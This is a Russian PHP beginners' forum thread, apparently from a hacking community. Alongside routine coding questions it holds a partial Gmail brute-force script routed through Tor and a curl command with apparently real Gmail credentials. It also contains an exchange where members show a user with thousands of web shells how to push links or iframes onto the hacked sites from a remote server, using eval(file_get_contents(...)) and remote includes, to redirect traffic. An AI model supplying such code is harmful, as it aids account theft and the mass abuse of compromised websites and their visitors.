[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Страница не статическая.
    Используй head запрос и проверяй заголовок Content-Length, как уже написали выше. Если этого заголовка нету, нужно закачивать страницу полностью, чтобы узнать ее размер.
     
  2. Kostja2012

    Kostja2012 Member

    Joined:
    9 Apr 2012
    Messages:
    92
    Likes Received:
    8
    Reputations:
    6
    Брутфорс на PHP!

    Здравствуйте, есть скрипт для брута, что в нем не так?
    PHP:
    <?php
    set_time_limit
    (0);

    $username "[email protected]"//Имена юзверей
    $dictionary "Dictionary.txt"// Словарь для паролей

    $ch curl_init();

    curl_setopt($chCURLOPT_URL"https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=https://mail.google.com/mail/?tab%3Dwm&scc=1&ltmpl=default&ltmplcache=2");
    curl_setopt($chCURLOPT_PROXYTYPECURLPROXY_SOCKS5);
    curl_setopt($chCURLOPT_PROXY"127.0.0.1:9050");
     
  3. phenix1025

    phenix1025 New Member

    Joined:
    20 Oct 2012
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    технология не та.

    curl -u 9streamingk:ruUt143yzZ -s "https://mail.google.com/mail/feed/atom" | grep -c "<entry>"

    ;)
     
  4. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Как лучше всего передавать обьекты классов между классами ?

    global переменные ? врядли лучшее решение

    Передавать обьекты через конструктор ?

    Вообщем, как это делается красиво ? :)
     
  5. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Сформулируйте конечную цель зачем вам это нужно
     
    _________________________
  6. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Допустим, есть класс sql, с конструктором, в который передается массив с информацией о подключении к базе данных. Обьект этого класса я бы хотел использовать в нескольких других обьектах других классов.

    Как насчёт создания статических свойств в одном классе, и дальнейший вызов какого либо элемента этого обьекта соответствующим образом ?
    Code:
    <?php
    class bar
    {
    	public $someProperty;
    	public function __construct()
    	{
    		$this -> someProperty = rand(0,1000);
    		echo "Bar: ".$this -> someProperty."<br />";
    	}
    }
    
    class foo
    {
    	public static $classOne;
    	public function __construct()
    	{
    		self::$classOne = new bar();
    	}
    }
    
    $foo = new foo();
    echo "Foo: ".foo::$classOne -> someProperty."<br />";
    ?>
    
    Допустим, someProperty - функция, и вызывается она таким же способом.


    Собственно, мне нужен наиболее оптимальный вариант реализации вот такой вот балды.
     
    #21246 DeepBlue7, 19 Nov 2012
    Last edited: 19 Nov 2012
  7. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    А что мешает сделать так?

    Code:
    $mysql_class->connect($onotherclass->var1, ...);
     
  8. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Статика хорошее решение, если у вас по факту singleton. Лично у меня статика везде, это удобно и на порядок быстрее объектов. аля
    PHP:
    class db
    {
        public static 
    $host 'localhost';
        public static 
    $user 'user';
        public static 
    $pass 'pass';
        public static 
    $db 'db';
        public static 
    $link false;


        public static function 
    connect ()
        {
            static::
    $link mysql_connect(static::$host, static::$user, static::$pass);
            return static::
    $link;
        }
        public static function 
    ($query)
        {
            if (!static::
    $link)
            {
                static::
    connect();
            }
            return 
    mysql_query($query, static::$link);
        }
    }
    В начале выполнения скрипта задаём
    PHP:
    include 'static.mysql.php';

    db::$host='localhost';
    db::$pass…
    и уже где угодно можем юзать
    PHP:
    db::q("SELECT …");
    Автолоад реализуется очень просто…
    PHP:
    class core
    {
        public static function 
    load ()
        {
            
    // just do
        
    }
    }
    core::load();
    Если остановитесь на статике, рекомендую сначала почитать о ней, т.к. в последнее время её здорово доработали в php.
     
    _________________________
    1 person likes this.
  9. xzxANTxzx

    xzxANTxzx New Member

    Joined:
    22 Jun 2010
    Messages:
    13
    Likes Received:
    0
    Reputations:
    -1
    Парсинг xml

    Привет, помогите пожалуйста, есть парсер xml на php, он парсит только ссылки на xml, имеющие вид http://сайт.com/php.xml, а мне необходимо спарсить xml вида http://сайт.com/php?user_id=1&key=1, скрипт не парсит его, что делать?
     
  10. shtepsel

    shtepsel Banned

    Joined:
    20 Nov 2012
    Messages:
    1
    Likes Received:
    2
    Reputations:
    1
    Подскажите пожалуйста, каким образом можно заинклудить файл со стороннего сервера.
    То есть вот инклуд файла с сервера:
    PHP:
    <?php include ($_SERVER['DOCUMENT_ROOT'].'/wp-content/themes/ini.php'); ?>
    А мне нужно, чтобы работало так (именно с адресом):
    PHP:
    <?php include ('http://sait.ru/wp-content/themes/ini.php'); ?>
    Заранее большое спасибо. Если не трудно - в ПМ.
     
  11. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    синтаксис инклуда правильный, но надо учитывать то что если удаленный сервер интерпретирует php файлы то вы получите голый файл с клиентским кодом. если удаленный сервер ваш то поменяйте расширение файла на txt или что то подобное
     
    _________________________
  12. shtepsel

    shtepsel Banned

    Joined:
    20 Nov 2012
    Messages:
    1
    Likes Received:
    2
    Reputations:
    1
    А если сделать файл txt и в него вставить код Гиперссылки - она ведь будет отображаться на конечном сайте как активная ссылка, а не как просто текст? Или будет именно в текстовом виде?

    P.S.
    Попробовал в виде:
    PHP:
    <?php include ('http://site.ru/images/M_images/ini.txt'); ?>
    В итоге не отображается ничего вообще на конечном сайте. Просто пустота.
     
    #21252 shtepsel, 22 Nov 2012
    Last edited: 22 Nov 2012
  13. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    shtepsel, чтобы инклудить файлы удаленно - должны быть включены следующие директивы в конфигурационном файле php.ini: allow_url_fopen и allow_url_include, последняя по дефолту отключается всеми хостерами в целях обеспечения безопасности.
    Как вариант, можно завернуть результат выполнения функции file_get_contents в eval, что позволит исполнить php код: eval(file_get_contents("http://site.com/file.php"));
    удаленный файл должен быть без указателей начала и конца пхп кода (<?php ?>). Но это также сработает, только в том случае, если директива allow_url_fopen находится в значении TRUE.

    xzxANTxzx,
    PHP:
    preg_match("~http://[[:print:]]+\.[[:alpha:]]{2,4}/php\?user_id=\d+&key=\d+~"$xml$match);
    print_r($match);
     
    #21253 Skofield, 22 Nov 2012
    Last edited: 22 Nov 2012
    1 person likes this.
  14. shtepsel

    shtepsel Banned

    Joined:
    20 Nov 2012
    Messages:
    1
    Likes Received:
    2
    Reputations:
    1
    Я тут просто размышлял сидел ночью.. вот есть у меня сервер, допустим, сервер. На него в определённую папку залит файл, допустим ini.php. Есть пачка шеллов. На каждый из них добавляем код, который инклудит файл с этого сервера (ini.php). В случае необходимости разместить какой-либо одинаковый код на ВСЕХ шеллах - просто редактируем файл ini.php на своем сервере и его содержимое отображается на всех шеллах (например ссылка, или iframe). Теперь, я так понял, выясняется, что это не подходит. А как ещё это можно реализовать, кроме include?
     
  15. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    почему не подходит?
    Тут 2 пути ))) либо шеллы инклудят инфу (не обязательно include), либо с твоего сервера рассылается инфа на все шеллы.
     
    _________________________
  16. shtepsel

    shtepsel Banned

    Joined:
    20 Nov 2012
    Messages:
    1
    Likes Received:
    2
    Reputations:
    1
    Trinux, да я понимаю, что это можно реализовать)))))
    Вопрос в том, как это реализовать технически? В смысле какими командами. Я в php не очень силён, только в некоторых сторонах, вот и решил поинтересоваться у более знающих. Суть вопроса подробно расписал для того, чтобы кто-нибудь конкретный пример привёл :)
     
  17. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Нде.
    <?php echo(file_get_contents('http://tvoi-server.com/ssylka.ini')); ?>
     
  18. shtepsel

    shtepsel Banned

    Joined:
    20 Nov 2012
    Messages:
    1
    Likes Received:
    2
    Reputations:
    1
    Во! Спасибо огромное. Оно! И работает =)
     
  19. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    shtepsel довольно часто встречаю когда исходящие соединения запрещены серверами, в таком случае ваши "боты" не смогут получить ваш ini-файл так что не забывайте делать проверки всякого рода.

    А вообще если вам нужны только ссылки то это легко решается при помощи css или js. Удаленный инклуд JS и отписывание в DOM при его помощи. И не нужен никакой ПХП с его возможными проблемами.
     
    #21259 b3, 22 Nov 2012
    Last edited: 22 Nov 2012
  20. shtepsel

    shtepsel Banned

    Joined:
    20 Nov 2012
    Messages:
    1
    Likes Received:
    2
    Reputations:
    1
    Ну именно сейчас я задействовал этот код, чтобы одним кликом менять линк на слив трафа, используя сразу много шеллов - всё работает, получается. А изначально я начал обдумывать эту идею, чтобы как раз ссылки расставлять. Просто шеллов с тиц несколько тысяч - поэтому пока не начал вставлять код на них.
     
Thread Status:
Not open for further replies.